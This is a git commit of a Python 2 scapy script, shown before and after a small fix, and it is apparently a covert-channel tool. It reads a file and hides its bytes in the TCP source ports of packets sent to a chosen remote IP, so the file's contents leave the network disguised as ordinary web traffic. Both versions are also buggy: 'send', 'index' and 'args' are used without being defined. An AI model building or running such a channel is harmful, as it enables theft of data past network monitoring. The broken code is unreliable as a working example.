<commit_before>import logging
# don't output warnings from scapy, kthx
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import IP, TCP
from random import randint
import setproctitle
import argparse
import time
import os

global maxPort
global lastPosition
global fileSize
maxPort = 65535
asciiMax = 127
lastPosition = 0
fileSize = 0

# creates a packet where the arguments char1 and char2 are set as the tcp source port
def createPacketTwo(char1, char2):
  # get the binary values of both chars without the binary string indicator
  binChar1 = bin(ord(char1))[2:].zfill(8)
  binChar2 = bin(ord(char2))[2:].zfill(8)
  print binChar1 + binChar2
  # get the integer value of the concatenated binary values
  intPortVal = int(binChar1 + binChar2, 2)
  print "bin value " + str((bin(intPortVal)))

  packet = IP(dst=args.destIp)/TCP(dport=80, sport=maxPort - intPortVal)
  return packet

# create a packet when we only have 1 character remaining
def createPacketOne(char):
  # get the binary value of the character
  binChar = bin(ord(char))[2:].zfill(8)
  print binChar
  #get the integer value of that binary value
  intPortVal = int(binChar, 2)

  packet = IP(dst=args.destIp)/TCP(dport=80, sport=maxPort -intPortVal)
  return packet

def readOneByte(fileDescriptor):
  global lastPosition
  fileDescriptor.seek(lastPosition)
  byte = fileDescriptor.read(1)
  lastPosition = fileDescriptor.tell()
  return byte


def sendPackets():
  global fileSize
  global lastPosition
  fileDescriptor = open(args.path, 'r')
  while lastPosition < fileSize:
    if lastPosition == fileSize - 1:
      char = readOneByte(fileDescriptor)
      packet = createPacketOne(char)
    else:
      char1 = readOneByte(fileDescriptor)
      char2 = readOneByte(fileDescriptor)
      packet = createPacketTwo(message[index], message[index + 1])

    send(packet)
    index = index + 2

    print "sport: " + str(packet.sport)<commit_msg>passing wrong values<commit_after>import logging
# don't output warnings from scapy, kthx
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import IP, TCP
from random import randint
import setproctitle
import argparse
import time
import os

global maxPort
global lastPosition
global fileSize
maxPort = 65535
asciiMax = 127
lastPosition = 0
fileSize = 0

# creates a packet where the arguments char1 and char2 are set as the tcp source port
def createPacketTwo(char1, char2):
  # get the binary values of both chars without the binary string indicator
  binChar1 = bin(ord(char1))[2:].zfill(8)
  binChar2 = bin(ord(char2))[2:].zfill(8)
  print binChar1 + binChar2
  # get the integer value of the concatenated binary values
  intPortVal = int(binChar1 + binChar2, 2)
  print "bin value " + str((bin(intPortVal)))

  packet = IP(dst=args.destIp)/TCP(dport=80, sport=maxPort - intPortVal)
  return packet

# create a packet when we only have 1 character remaining
def createPacketOne(char):
  # get the binary value of the character
  binChar = bin(ord(char))[2:].zfill(8)
  print binChar
  #get the integer value of that binary value
  intPortVal = int(binChar, 2)

  packet = IP(dst=args.destIp)/TCP(dport=80, sport=maxPort -intPortVal)
  return packet

def readOneByte(fileDescriptor):
  global lastPosition
  fileDescriptor.seek(lastPosition)
  byte = fileDescriptor.read(1)
  lastPosition = fileDescriptor.tell()
  return byte


def sendPackets():
  global fileSize
  global lastPosition
  fileDescriptor = open(args.path, 'r')
  while lastPosition < fileSize:
    if lastPosition == fileSize - 1:
      char = readOneByte(fileDescriptor)
      packet = createPacketOne(char)
    else:
      char1 = readOneByte(fileDescriptor)
      char2 = readOneByte(fileDescriptor)
      packet = createPacketTwo(char1, char2)

    send(packet)
    index = index + 2

    print "sport: " + str(packet.sport)
{'fraction_non_alphanumeric': 0.08892921960072596, 'fraction_numerical': 0.02151931553020482, 'mean_word_length': 4.4261603375527425, 'pattern_counts': {'":': 0, '<': 5, '<?xml version=': 0, '>': 3, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '6659743', 'n_tokens_mistral': 1251, 'n_tokens_neox': 1202, 'n_words': 376}